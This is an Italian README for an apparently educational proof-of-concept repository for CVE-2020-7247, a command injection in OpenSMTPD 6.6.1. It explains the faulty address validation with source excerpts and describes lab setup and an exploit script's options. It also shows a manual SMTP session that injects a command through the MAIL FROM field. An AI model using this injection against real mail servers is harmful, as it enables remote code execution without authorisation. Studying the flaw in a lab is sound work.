
Prova di concetto per CVE-2020-7247 a scopo educativo.
Questo repository dovrebbe servire come base per configurare e sfruttare CVE-2020-7247 in un ambiente controllato e privato. Tutto il codice e la configurazione pubblicati sono destinati esclusivamente al test di questa vulnerabilità e non per abusarne contro sistemi che non sono di tua proprietà o per i quali non hai il permesso di sfruttarli. Il proprietario di questo repository non è da ritenere responsabile per l'uso di questi strumenti da parte di terzi.
Il problema principale nel codice è che la validazione della mail non funziona. Permette il passaggio di caratteri potenzialmente pericolosi nei campi MAIL FROM e RCPT TO.
Se la parte locale dell'indirizzo email non è valida, viene trattata come valida perché il codice aggiunge la parte del dominio e la interpreta come valida successivamente. Ciò permette all'attaccante di eseguire codice arbitrario.
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Il codice dovrebbe apparire come segue per essere sicuro:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Opensmtpd procede quindi a eseguire un cosiddetto comando MDA. Il comando è utilizzato per la consegna della posta. Si presenta come segue:
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
Qui potresti già vedere il problema. mbox.from è l'indirizzo del mittente che è sotto completo controllo dell'attaccante.
L'attaccante è comunque limitato a utilizzare solo i caratteri nello shellcode che non sono nella seguente lista: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
Completamente divulgato qui
Si è liberi di scegliere la distribuzione su cui eseguire il server. L'ho testato su Ubuntu 18.04 LTS.
Esegui chmod +x setup.sh per rendere eseguibile lo script di configurazione. Puoi usarlo con un utente normale poiché ho incluso solo i diritti sudo nello script dove necessario. (Ovviamente il tuo utente deve essere un sudoer)
Lo script di configurazione installerà tutte le dipendenze richieste per smtpd stesso e copierà la configurazione nelle rispettive posizioni.
Verrà installato Opensmtpd 6.6.1.
Se hai bisogno di eseguire openstmpd manualmente o lo script ha qualche errore, esegui il seguente comando:
cd /usr/local/sbin
sudo smtpd
OR
sudo smtpd -dv for debugging output
Le configurazioni in questo repository sono solo per test locali. Non includono domini esterni/configurazioni avanzate.
aliases e smtpd.conf sono i due file di configurazione necessari per la configurazione di questo server. Sei libero di modificarli come desideri. Tieni presente che la configurazione era pensata per il mio server di test. Il mio nome server era ase (direttiva @ase in smtpd.conf) e il mio nome utente era ase (configurazione utente in aliases).
Dovrai sostituire <YOUR IP> in smtpd.conf con l'IP del tuo server. Altrimenti smtpd non si avvierà.
Nel caso in cui ti imbatti in indirizzi IP e porte in questo ambiente, ecco alcuni fatti chiave sull'ambiente che ho utilizzato in modo che tu possa modificarli di conseguenza:
asease192.168.1.4025192.168.1.311337L'exploit fornito usa Python 3.x. Utilizza la dipendenza pwn. Per utilizzare questo exploit è necessario installare pwntools usando pip3 install pwntools.
Fondamentalmente l'exploit sfrutta automaticamente la vulnerabilità senza richiedere interazione da parte dell'utente. Tuttavia l'exploit può essere eseguito manualmente senza lo script Python.
Come menzionato in precedenza, l'exploit può essere eseguito senza lo script Python fornito. Dovrai seguire manualmente il processo SMTP. Questo può essere fatto usando netcat o telnet.
Ecco un esempio di come può essere fatto manualmente:
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery
Puoi anche usare lo script fornito. I seguenti parametri sono possibili:
--targetHost specifica il target ed è obbligatorio.--targetPort specifica la porta target ed è obbligatorio.--customCommand specifica il comando da iniettare.shellcode.py serve come esempio di come potrebbe essere un codice di shell remoto. \
